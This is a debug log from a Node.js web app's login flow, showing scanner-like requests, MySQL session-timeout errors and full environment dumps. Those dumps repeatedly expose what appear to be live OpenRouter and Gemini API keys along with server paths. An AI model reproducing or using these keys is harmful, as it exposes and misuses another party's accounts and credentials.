    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '54.162.53.4',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-09T09:55:52.787Z server-connect:router Serving templateView /
2026-02-09T09:55:52.789Z server-connect:app Executing action step identify
2026-02-09T09:55:52.789Z server-connect:app options: { provider: 'security' }
2026-02-09T09:55:52.789Z server-connect:auth No login cookie found
2026-02-09T09:55:52.789Z server-connect:output identity: false
2026-02-09T09:55:52.789Z server-connect:app Executing action step restrict
2026-02-09T09:55:52.789Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T09:55:52.789Z server-connect:output restrict: undefined
2026-02-09T09:55:52.829Z server-connect:router Serving templateView /login
2026-02-09T09:55:52.829Z server-connect:app Executing action step identify
2026-02-09T09:55:52.829Z server-connect:app options: { provider: 'security' }
2026-02-09T09:55:52.829Z server-connect:auth No login cookie found
2026-02-09T09:55:52.829Z server-connect:output identity: false
2026-02-09T09:55:52.829Z server-connect:router Render template layouts/authentication
2026-02-09T09:55:52.829Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.140.158.98',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T09:55:52.828Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.140.158.98',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.140.158.98',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 12:12:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 12:12:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 14:32:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 14:32:44' as DATETIME)"
}
2026-02-09T14:58:43.967Z server-connect:router Serving templateView /
2026-02-09T14:58:43.968Z server-connect:app Executing action step identify
2026-02-09T14:58:43.969Z server-connect:app options: { provider: 'security' }
2026-02-09T14:58:43.969Z server-connect:auth No login cookie found
2026-02-09T14:58:43.969Z server-connect:output identity: false
2026-02-09T14:58:43.969Z server-connect:app Executing action step restrict
2026-02-09T14:58:43.969Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T14:58:43.969Z server-connect:output restrict: undefined
2026-02-09T14:58:44.169Z server-connect:router Serving templateView /login
2026-02-09T14:58:44.169Z server-connect:app Executing action step identify
2026-02-09T14:58:44.170Z server-connect:app options: { provider: 'security' }
2026-02-09T14:58:44.170Z server-connect:auth No login cookie found
2026-02-09T14:58:44.170Z server-connect:output identity: false
2026-02-09T14:58:44.170Z server-connect:router Render template layouts/authentication
2026-02-09T14:58:44.170Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12) Chrome/111.0 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '34.142.249.233',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T14:58:44.169Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.142.249.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12) Chrome/111.0 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '34.142.249.233',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-09T15:04:33.754Z server-connect:router Serving templateView /
2026-02-09T15:04:33.754Z server-connect:app Executing action step identify
2026-02-09T15:04:33.754Z server-connect:app options: { provider: 'security' }
2026-02-09T15:04:33.754Z server-connect:auth No login cookie found
2026-02-09T15:04:33.754Z server-connect:output identity: false
2026-02-09T15:04:33.755Z server-connect:app Executing action step restrict
2026-02-09T15:04:33.755Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T15:04:33.755Z server-connect:output restrict: undefined
2026-02-09T15:04:33.772Z server-connect:router Serving templateView /
2026-02-09T15:04:33.772Z server-connect:app Executing action step identify
2026-02-09T15:04:33.772Z server-connect:app options: { provider: 'security' }
2026-02-09T15:04:33.773Z server-connect:auth No login cookie found
2026-02-09T15:04:33.773Z server-connect:output identity: false
2026-02-09T15:04:33.773Z server-connect:app Executing action step restrict
2026-02-09T15:04:33.773Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T15:04:33.773Z server-connect:output restrict: undefined
2026-02-09T15:04:33.885Z server-connect:router Serving templateView /login
2026-02-09T15:04:33.885Z server-connect:app Executing action step identify
2026-02-09T15:04:33.885Z server-connect:app options: { provider: 'security' }
2026-02-09T15:04:33.885Z server-connect:auth No login cookie found
2026-02-09T15:04:33.885Z server-connect:output identity: false
2026-02-09T15:04:33.885Z server-connect:router Render template layouts/authentication
2026-02-09T15:04:33.886Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.60.205.77',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T15:04:33.885Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.60.205.77',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.60.205.77',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-09T15:04:33.901Z server-connect:router Serving templateView /login
2026-02-09T15:04:33.901Z server-connect:app Executing action step identify
2026-02-09T15:04:33.901Z server-connect:app options: { provider: 'security' }
2026-02-09T15:04:33.901Z server-connect:auth No login cookie found
2026-02-09T15:04:33.901Z server-connect:output identity: false
2026-02-09T15:04:33.902Z server-connect:router Render template layouts/authentication
2026-02-09T15:04:33.902Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.60.205.77',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T15:04:33.901Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.60.205.77',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.60.205.77',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 15:10:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 15:10:44' as DATETIME)"
}
2026-02-09T15:44:37.949Z server-connect:router Serving templateView /
2026-02-09T15:44:37.950Z server-connect:app Executing action step identify
2026-02-09T15:44:37.951Z server-connect:app options: { provider: 'security' }
2026-02-09T15:44:37.951Z server-connect:auth No login cookie found
2026-02-09T15:44:37.951Z server-connect:output identity: false
2026-02-09T15:44:37.951Z server-connect:app Executing action step restrict
2026-02-09T15:44:37.951Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-09T15:44:37.951Z server-connect:output restrict: undefined
2026-02-09T15:44:38.051Z server-connect:router Serving templateView /login
2026-02-09T15:44:38.052Z server-connect:app Executing action step identify
2026-02-09T15:44:38.052Z server-connect:app options: { provider: 'security' }
2026-02-09T15:44:38.052Z server-connect:auth No login cookie found
2026-02-09T15:44:38.052Z server-connect:output identity: false
2026-02-09T15:44:38.052Z server-connect:router Render template layouts/authentication
2026-02-09T15:44:38.052Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '54.162.53.4',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-10T15:44:38.051Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.162.53.4',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '54.162.53.4',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 16:22:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 16:22:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 20:01:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-09 20:01:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-09 23:09:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
